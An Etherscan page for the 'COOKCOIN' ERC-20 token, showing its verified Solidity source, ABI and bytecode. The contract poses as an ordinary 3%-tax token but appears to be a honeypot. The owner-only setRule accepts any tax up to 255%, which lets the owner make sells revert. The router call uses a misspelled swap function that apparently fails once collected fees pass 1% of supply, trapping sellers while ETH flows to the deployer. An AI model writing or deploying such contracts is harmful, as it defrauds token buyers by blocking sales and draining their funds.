ETH Price: $2,593.59 (-2.63%)

Token

COOKCOIN (CookCoin)
 

Overview

Max Total Supply

1,000,000,000 CookCoin

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
32,004,086.562495632442484841 CookCoin

Value
$0.00
0x7662934d2f7a797d1cb7a21074cfe5644b6a063e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
COOK

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
shanghai EvmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-11-04
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-27
 */

/*

 Twitter : https://twitter.com/CookCoin_ERC
 
 Telegram: https://t.me/CookERC

*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.0;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract COOK {
    string private _name = unicode"COOKCOIN";
    string private _symbol = unicode"CookCoin";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000_000 * 10**decimals;

    uint8 buyCharge = 3;
    uint8 sellCharge = 3;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private pair;
    address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(routerAddress);
    address payable TOKEN_MKT;

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        TOKEN_MKT = payable(msg.sender);
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][routerAddress] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function active(string memory name_, string memory symbol_) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        _name = name_;
        _symbol = symbol_;
    }

    function setRule(uint8 _buy, uint8 _sell) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        _remeveTax(_buy, _sell);
    }

    function openTrading() external {
        require(msg.sender == TOKEN_MKT);
        require(!tradingOpen);
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        require(tradingOpen || from == TOKEN_MKT || to == TOKEN_MKT);

        if (!tradingOpen && pair == address(0) && amount > 0) pair = to;

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != TOKEN_MKT) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = ETH;
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            TOKEN_MKT.transfer(address(this).balance);
            swapping = false;
        }

        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (from == pair ? buyCharge : sellCharge)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function _remeveTax(uint8 _buy, uint8 _sell) private {
        buyCharge = _buy;
        sellCharge = _sell;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"active","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"setRule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600860809081526721a7a7a5a1a7a4a760c11b60a0525f90620000289082620001da565b5060408051808201909152600881526721b7b7b5a1b7b4b760c11b6020820152600190620000579082620001da565b506002805461ffff191661030317905534801562000073575f80fd5b50600680546001600160a01b03191633179055620000946012600a620003b1565b620000a490633b9aca00620003c8565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001136012600a620003b1565b6200012390633b9aca00620003c8565b60405190815260200160405180910390a3620003e2565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200016357607f821691505b6020821081036200018257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620001d5575f81815260208120601f850160051c81016020861015620001b05750805b601f850160051c820191505b81811015620001d157828155600101620001bc565b5050505b505050565b81516001600160401b03811115620001f657620001f66200013a565b6200020e816200020784546200014e565b8462000188565b602080601f83116001811462000244575f84156200022c5750858301515b5f19600386901b1c1916600185901b178555620001d1565b5f85815260208120601f198616915b82811015620002745788860151825594840194600190910190840162000253565b50858210156200029257878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002f657815f1904821115620002da57620002da620002a2565b80851615620002e857918102915b93841c9390800290620002bb565b509250929050565b5f826200030e57506001620003ab565b816200031c57505f620003ab565b8160018114620003355760028114620003405762000360565b6001915050620003ab565b60ff841115620003545762000354620002a2565b50506001821b620003ab565b5060208310610133831016604e8410600b841016171562000385575081810a620003ab565b620003918383620002b6565b805f1904821115620003a757620003a7620002a2565b0290505b92915050565b5f620003c160ff841683620002fe565b9392505050565b8082028115828204841417620003ab57620003ab620002a2565b610e4780620003f05f395ff3fe6080604052600436106100a8575f3560e01c806370a082311161006257806370a082311461019457806395d89b41146101bf57806398f5be87146101d3578063a9059cbb146101f2578063c9567bf914610211578063dd62ed3e14610225575f80fd5b806306fdde03146100b3578063095ea7b3146100dd5780630a7ad74c1461010c57806318160ddd1461012d57806323b872dd1461014f578063313ce5671461016e575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100c761025b565b6040516100d491906108a9565b60405180910390f35b3480156100e8575f80fd5b506100fc6100f736600461090f565b6102ea565b60405190151581526020016100d4565b348015610117575f80fd5b5061012b610126366004610947565b610356565b005b348015610138575f80fd5b506101416103a1565b6040519081526020016100d4565b34801561015a575f80fd5b506100fc610169366004610978565b6103be565b348015610179575f80fd5b50610182601281565b60405160ff90911681526020016100d4565b34801561019f575f80fd5b506101416101ae3660046109b1565b60036020525f908152604090205481565b3480156101ca575f80fd5b506100c761040b565b3480156101de575f80fd5b5061012b6101ed366004610a67565b61041a565b3480156101fd575f80fd5b506100fc61020c36600461090f565b610461565b34801561021c575f80fd5b5061012b610474565b348015610230575f80fd5b5061014161023f366004610ac7565b600460209081525f928352604080842090915290825290205481565b60605f805461026990610aef565b80601f016020809104026020016040519081016040528092919081815260200182805461029590610aef565b80156102e05780601f106102b7576101008083540402835291602001916102e0565b820191905f5260205f20905b8154815290600101906020018083116102c357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103449086815260200190565b60405180910390a35060015b92915050565b6006546001600160a01b0316331461038057604051629af2b160e81b815260040160405180910390fd5b6002805460ff9283166101000261ffff199091169390921692909217179055565b6103ad6012600a610c1b565b6103bb90633b9aca00610c29565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906103f2908490610c40565b9091555061040390508484846104b5565b949350505050565b60606001805461026990610aef565b6006546001600160a01b0316331461044457604051629af2b160e81b815260040160405180910390fd5b5f61044f8382610ca0565b50600161045c8282610ca0565b505050565b5f61046d3384846104b5565b9392505050565b6006546001600160a01b0316331461048a575f80fd5b600654600160a81b900460ff16156104a0575f80fd5b6006805460ff60a81b1916600160a81b179055565b6006545f90600160a81b900460ff16806104dc57506006546001600160a01b038581169116145b806104f457506006546001600160a01b038481169116145b6104fc575f80fd5b600654600160a81b900460ff1615801561051f57506005546001600160a01b0316155b801561052a57505f82115b1561054b57600580546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f9081526003602052604081208054849290610572908490610c40565b90915550506005546001600160a01b03848116911614801561059e5750600654600160a01b900460ff16155b80156105dd575060646105b36012600a610c1b565b6105c190633b9aca00610c29565b6105cb9190610d5c565b305f9081526003602052604090205410155b80156105f757506006546001600160a01b03858116911614155b1561077a576006805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061064257610642610d7b565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061068a5761068a610d7b565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646106ca6012600a610c1b565b6106d890633b9aca00610c29565b6106e29190610d5c565b5f8430426040518663ffffffff1660e01b8152600401610706959493929190610d8f565b5f604051808303815f87803b15801561071d575f80fd5b505af115801561072f573d5f803e3d5ffd5b50506006546040516001600160a01b0390911692504780156108fc029250905f818181858888f1935050505015801561076a573d5f803e3d5ffd5b50506006805460ff60a01b191690555b6001600160a01b03841630148015906107a15750600654600160a81b900460ff1615156001145b15610824576005545f906064906001600160a01b038781169116146107d057600254610100900460ff166107d7565b60025460ff165b6107e49060ff1685610c29565b6107ee9190610d5c565b90506107fa8184610c40565b305f9081526003602052604081208054929550839290919061081d908490610dfe565b9091555050505b6001600160a01b0383165f908152600360205260408120805484929061084b908490610dfe565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161089791815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b818110156108d4578581018301518582016040015282016108b8565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461090a575f80fd5b919050565b5f8060408385031215610920575f80fd5b610929836108f4565b946020939093013593505050565b803560ff8116811461090a575f80fd5b5f8060408385031215610958575f80fd5b61096183610937565b915061096f60208401610937565b90509250929050565b5f805f6060848603121561098a575f80fd5b610993846108f4565b92506109a1602085016108f4565b9150604084013590509250925092565b5f602082840312156109c1575f80fd5b61046d826108f4565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126109ed575f80fd5b813567ffffffffffffffff80821115610a0857610a086109ca565b604051601f8301601f19908116603f01168101908282118183101715610a3057610a306109ca565b81604052838152866020858801011115610a48575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610a78575f80fd5b823567ffffffffffffffff80821115610a8f575f80fd5b610a9b868387016109de565b93506020850135915080821115610ab0575f80fd5b50610abd858286016109de565b9150509250929050565b5f8060408385031215610ad8575f80fd5b610ae1836108f4565b915061096f602084016108f4565b600181811c90821680610b0357607f821691505b602082108103610b2157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610b7557815f1904821115610b5b57610b5b610b27565b80851615610b6857918102915b93841c9390800290610b40565b509250929050565b5f82610b8b57506001610350565b81610b9757505f610350565b8160018114610bad5760028114610bb757610bd3565b6001915050610350565b60ff841115610bc857610bc8610b27565b50506001821b610350565b5060208310610133831016604e8410600b8410161715610bf6575081810a610350565b610c008383610b3b565b805f1904821115610c1357610c13610b27565b029392505050565b5f61046d60ff841683610b7d565b808202811582820484141761035057610350610b27565b8181038181111561035057610350610b27565b601f82111561045c575f81815260208120601f850160051c81016020861015610c795750805b601f850160051c820191505b81811015610c9857828155600101610c85565b505050505050565b815167ffffffffffffffff811115610cba57610cba6109ca565b610cce81610cc88454610aef565b84610c53565b602080601f831160018114610d01575f8415610cea5750858301515b5f19600386901b1c1916600185901b178555610c98565b5f85815260208120601f198616915b82811015610d2f57888601518255948401946001909101908401610d10565b5085821015610d4c57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f82610d7657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610ddd5784516001600160a01b031683529383019391830191600101610db8565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561035057610350610b2756fea264697066735822122008206672636b34a541d651246aaf3ea1c1d0a9456e254ad732762eec3bb7890e64736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100a8575f3560e01c806370a082311161006257806370a082311461019457806395d89b41146101bf57806398f5be87146101d3578063a9059cbb146101f2578063c9567bf914610211578063dd62ed3e14610225575f80fd5b806306fdde03146100b3578063095ea7b3146100dd5780630a7ad74c1461010c57806318160ddd1461012d57806323b872dd1461014f578063313ce5671461016e575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100c761025b565b6040516100d491906108a9565b60405180910390f35b3480156100e8575f80fd5b506100fc6100f736600461090f565b6102ea565b60405190151581526020016100d4565b348015610117575f80fd5b5061012b610126366004610947565b610356565b005b348015610138575f80fd5b506101416103a1565b6040519081526020016100d4565b34801561015a575f80fd5b506100fc610169366004610978565b6103be565b348015610179575f80fd5b50610182601281565b60405160ff90911681526020016100d4565b34801561019f575f80fd5b506101416101ae3660046109b1565b60036020525f908152604090205481565b3480156101ca575f80fd5b506100c761040b565b3480156101de575f80fd5b5061012b6101ed366004610a67565b61041a565b3480156101fd575f80fd5b506100fc61020c36600461090f565b610461565b34801561021c575f80fd5b5061012b610474565b348015610230575f80fd5b5061014161023f366004610ac7565b600460209081525f928352604080842090915290825290205481565b60605f805461026990610aef565b80601f016020809104026020016040519081016040528092919081815260200182805461029590610aef565b80156102e05780601f106102b7576101008083540402835291602001916102e0565b820191905f5260205f20905b8154815290600101906020018083116102c357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103449086815260200190565b60405180910390a35060015b92915050565b6006546001600160a01b0316331461038057604051629af2b160e81b815260040160405180910390fd5b6002805460ff9283166101000261ffff199091169390921692909217179055565b6103ad6012600a610c1b565b6103bb90633b9aca00610c29565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906103f2908490610c40565b9091555061040390508484846104b5565b949350505050565b60606001805461026990610aef565b6006546001600160a01b0316331461044457604051629af2b160e81b815260040160405180910390fd5b5f61044f8382610ca0565b50600161045c8282610ca0565b505050565b5f61046d3384846104b5565b9392505050565b6006546001600160a01b0316331461048a575f80fd5b600654600160a81b900460ff16156104a0575f80fd5b6006805460ff60a81b1916600160a81b179055565b6006545f90600160a81b900460ff16806104dc57506006546001600160a01b038581169116145b806104f457506006546001600160a01b038481169116145b6104fc575f80fd5b600654600160a81b900460ff1615801561051f57506005546001600160a01b0316155b801561052a57505f82115b1561054b57600580546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f9081526003602052604081208054849290610572908490610c40565b90915550506005546001600160a01b03848116911614801561059e5750600654600160a01b900460ff16155b80156105dd575060646105b36012600a610c1b565b6105c190633b9aca00610c29565b6105cb9190610d5c565b305f9081526003602052604090205410155b80156105f757506006546001600160a01b03858116911614155b1561077a576006805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061064257610642610d7b565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061068a5761068a610d7b565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646106ca6012600a610c1b565b6106d890633b9aca00610c29565b6106e29190610d5c565b5f8430426040518663ffffffff1660e01b8152600401610706959493929190610d8f565b5f604051808303815f87803b15801561071d575f80fd5b505af115801561072f573d5f803e3d5ffd5b50506006546040516001600160a01b0390911692504780156108fc029250905f818181858888f1935050505015801561076a573d5f803e3d5ffd5b50506006805460ff60a01b191690555b6001600160a01b03841630148015906107a15750600654600160a81b900460ff1615156001145b15610824576005545f906064906001600160a01b038781169116146107d057600254610100900460ff166107d7565b60025460ff165b6107e49060ff1685610c29565b6107ee9190610d5c565b90506107fa8184610c40565b305f9081526003602052604081208054929550839290919061081d908490610dfe565b9091555050505b6001600160a01b0383165f908152600360205260408120805484929061084b908490610dfe565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161089791815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b818110156108d4578581018301518582016040015282016108b8565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461090a575f80fd5b919050565b5f8060408385031215610920575f80fd5b610929836108f4565b946020939093013593505050565b803560ff8116811461090a575f80fd5b5f8060408385031215610958575f80fd5b61096183610937565b915061096f60208401610937565b90509250929050565b5f805f6060848603121561098a575f80fd5b610993846108f4565b92506109a1602085016108f4565b9150604084013590509250925092565b5f602082840312156109c1575f80fd5b61046d826108f4565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126109ed575f80fd5b813567ffffffffffffffff80821115610a0857610a086109ca565b604051601f8301601f19908116603f01168101908282118183101715610a3057610a306109ca565b81604052838152866020858801011115610a48575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610a78575f80fd5b823567ffffffffffffffff80821115610a8f575f80fd5b610a9b868387016109de565b93506020850135915080821115610ab0575f80fd5b50610abd858286016109de565b9150509250929050565b5f8060408385031215610ad8575f80fd5b610ae1836108f4565b915061096f602084016108f4565b600181811c90821680610b0357607f821691505b602082108103610b2157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610b7557815f1904821115610b5b57610b5b610b27565b80851615610b6857918102915b93841c9390800290610b40565b509250929050565b5f82610b8b57506001610350565b81610b9757505f610350565b8160018114610bad5760028114610bb757610bd3565b6001915050610350565b60ff841115610bc857610bc8610b27565b50506001821b610350565b5060208310610133831016604e8410600b8410161715610bf6575081810a610350565b610c008383610b3b565b805f1904821115610c1357610c13610b27565b029392505050565b5f61046d60ff841683610b7d565b808202811582820484141761035057610350610b27565b8181038181111561035057610350610b27565b601f82111561045c575f81815260208120601f850160051c81016020861015610c795750805b601f850160051c820191505b81811015610c9857828155600101610c85565b505050505050565b815167ffffffffffffffff811115610cba57610cba6109ca565b610cce81610cc88454610aef565b84610c53565b602080601f831160018114610d01575f8415610cea5750858301515b5f19600386901b1c1916600185901b178555610c98565b5f85815260208120601f198616915b82811015610d2f57888601518255948401946001909101908401610d10565b5085821015610d4c57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f82610d7657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610ddd5784516001600160a01b031683529383019391830191600101610db8565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561035057610350610b2756fea264697066735822122008206672636b34a541d651246aaf3ea1c1d0a9456e254ad732762eec3bb7890e64736f6c63430008150033

Deployed Bytecode Sourcemap

497:4118:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2943:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2591:207;;;;;;;;;;-1:-1:-1;2591:207:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;2591:207:0;1004:187:1;2047:153:0;;;;;;;;;;-1:-1:-1;2047:153:0;;;;;:::i;:::-;;:::i;:::-;;656:66;;;;;;;;;;;;;:::i;:::-;;;1760:25:1;;;1748:2;1733:18;656:66:0;1614:177:1;2360:223:0;;;;;;;;;;-1:-1:-1;2360:223:0;;;;;:::i;:::-;;:::i;614:35::-;;;;;;;;;;;;647:2;614:35;;;;;2301:4:1;2289:17;;;2271:36;;2259:2;2244:18;614:35:0;2129:184:1;1068:44:0;;;;;;;;;;-1:-1:-1;1068:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;3042:95;;;;;;;;;;;;;:::i;1850:189::-;;;;;;;;;;-1:-1:-1;1850:189:0;;;;;:::i;:::-;;:::i;2806:129::-;;;;;;;;;;-1:-1:-1;2806:129:0;;;;;:::i;:::-;;:::i;2208:144::-;;;;;;;;;;;;;:::i;1119:64::-;;;;;;;;;;-1:-1:-1;1119:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;2943:91;2988:13;3021:5;3014:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2943:91;:::o;2591:207::-;2686:10;2659:4;2676:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;2676:30:0;;;;;;;;;;:39;;;2731:37;2659:4;;2676:30;;2731:37;;;;2709:6;1760:25:1;;1748:2;1733:18;;1614:177;2731:37:0;;;;;;;;-1:-1:-1;2786:4:0;2591:207;;;;;:::o;2047:153::-;2127:9;;-1:-1:-1;;;;;2127:9:0;2113:10;:23;2109:49;;2145:13;;-1:-1:-1;;;2145:13:0;;;;;;;;;;;2109:49;4559:9;:16;;;4586:18;;;4559:16;4586:18;-1:-1:-1;;4586:18:0;;;4559:16;;;;4586:18;;;;;;;2047:153::o;656:66::-;710:12;647:2;710;:12;:::i;:::-;694:28;;:13;:28;:::i;:::-;656:66;:::o;2360:223::-;-1:-1:-1;;;;;2493:15:0;;2476:4;2493:15;;;:9;:15;;;;;;;;2509:10;2493:27;;;;;;;:37;;2524:6;;2493:27;2476:4;;2493:37;;2524:6;;2493:37;:::i;:::-;;;;-1:-1:-1;2548:27:0;;-1:-1:-1;2558:4:0;2564:2;2568:6;2548:9;:27::i;:::-;2541:34;2360:223;-1:-1:-1;;;;2360:223:0:o;3042:95::-;3089:13;3122:7;3115:14;;;;;:::i;1850:189::-;1948:9;;-1:-1:-1;;;;;1948:9:0;1934:10;:23;1930:49;;1966:13;;-1:-1:-1;;;1966:13:0;;;;;;;;;;;1930:49;1990:5;:13;1998:5;1990;:13;:::i;:::-;-1:-1:-1;2014:7:0;:17;2024:7;2014;:17;:::i;:::-;;1850:189;;:::o;2806:129::-;2870:4;2894:33;2904:10;2916:2;2920:6;2894:9;:33::i;:::-;2887:40;2806:129;-1:-1:-1;;;2806:129:0:o;2208:144::-;2273:9;;-1:-1:-1;;;;;2273:9:0;2259:10;:23;2251:32;;;;;;2303:11;;-1:-1:-1;;;2303:11:0;;;;2302:12;2294:21;;;;;;2326:11;:18;;-1:-1:-1;;;;2326:18:0;-1:-1:-1;;;2326:18:0;;;2208:144::o;3145:1342::-;3283:11;;3258:4;;-1:-1:-1;;;3283:11:0;;;;;:32;;-1:-1:-1;3306:9:0;;-1:-1:-1;;;;;3298:17:0;;;3306:9;;3298:17;3283:32;:51;;;-1:-1:-1;3325:9:0;;-1:-1:-1;;;;;3319:15:0;;;3325:9;;3319:15;3283:51;3275:60;;;;;;3353:11;;-1:-1:-1;;;3353:11:0;;;;3352:12;:34;;;;-1:-1:-1;3368:4:0;;-1:-1:-1;;;;;3368:4:0;:18;3352:34;:48;;;;;3399:1;3390:6;:10;3352:48;3348:63;;;3402:4;:9;;-1:-1:-1;;;;;;3402:9:0;-1:-1:-1;;;;;3402:9:0;;;;;3348:63;-1:-1:-1;;;;;3424:15:0;;;;;;:9;:15;;;;;:25;;3443:6;;3424:15;:25;;3443:6;;3424:25;:::i;:::-;;;;-1:-1:-1;;3472:4:0;;-1:-1:-1;;;;;3466:10:0;;;3472:4;;3466:10;:23;;;;-1:-1:-1;3481:8:0;;-1:-1:-1;;;3481:8:0;;;;3480:9;3466:23;:65;;;;-1:-1:-1;828:3:0;710:12;647:2;710;:12;:::i;:::-;694:28;;:13;:28;:::i;:::-;814:17;;;;:::i;:::-;3511:4;3493:24;;;;:9;:24;;;;;;:38;;3466:65;:86;;;;-1:-1:-1;3543:9:0;;-1:-1:-1;;;;;3535:17:0;;;3543:9;;3535:17;;3466:86;3462:622;;;3569:8;:15;;-1:-1:-1;;;;3569:15:0;-1:-1:-1;;;3569:15:0;;;3623:16;;;3637:1;3623:16;;;;;;;;-1:-1:-1;;3623:16:0;;;;;;;;;;-1:-1:-1;3623:16:0;3599:40;;3672:4;3654;3659:1;3654:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;3654:23:0;;;-1:-1:-1;;;;;3654:23:0;;;;;1242:42;3692:4;3697:1;3692:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3692:13:0;;;:7;;;;;;;;;;;:13;1324:42;3720:88;828:3;710:12;647:2;710;:12;:::i;:::-;694:28;;:13;:28;:::i;:::-;814:17;;;;:::i;:::-;3864:1;3888:4;3923;3951:15;3720:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;4000:9:0;;:41;;-1:-1:-1;;;;;4000:9:0;;;;-1:-1:-1;4019:21:0;4000:41;;;;;-1:-1:-1;4019:21:0;4000:9;:41;:9;:41;4019:21;4000:9;:41;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;4056:8:0;:16;;-1:-1:-1;;;;4056:16:0;;;3462:622;-1:-1:-1;;;;;4100:21:0;;4116:4;4100:21;;;;:44;;-1:-1:-1;4125:11:0;;-1:-1:-1;;;4125:11:0;;;;:19;;4140:4;4125:19;4100:44;4096:286;;;4227:4;;4161:27;;4261:3;;-1:-1:-1;;;;;4219:12:0;;;4227:4;;4219:12;:37;;4246:10;;;;;;;4219:37;;;4234:9;;;;4219:37;4192:65;;;;:6;:65;:::i;:::-;4191:73;;;;:::i;:::-;4161:103;-1:-1:-1;4279:29:0;4161:103;4279:29;;:::i;:::-;4341:4;4323:24;;;;:9;:24;;;;;:47;;4279:29;;-1:-1:-1;4351:19:0;;4323:24;;;:47;;4351:19;;4323:47;:::i;:::-;;;;-1:-1:-1;;;4096:286:0;-1:-1:-1;;;;;4392:13:0;;;;;;:9;:13;;;;;:23;;4409:6;;4392:13;:23;;4409:6;;4392:23;:::i;:::-;;;;;;;;4446:2;-1:-1:-1;;;;;4431:26:0;4440:4;-1:-1:-1;;;;;4431:26:0;;4450:6;4431:26;;;;1760:25:1;;1748:2;1733:18;;1614:177;4431:26:0;;;;;;;;-1:-1:-1;4475:4:0;3145:1342;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;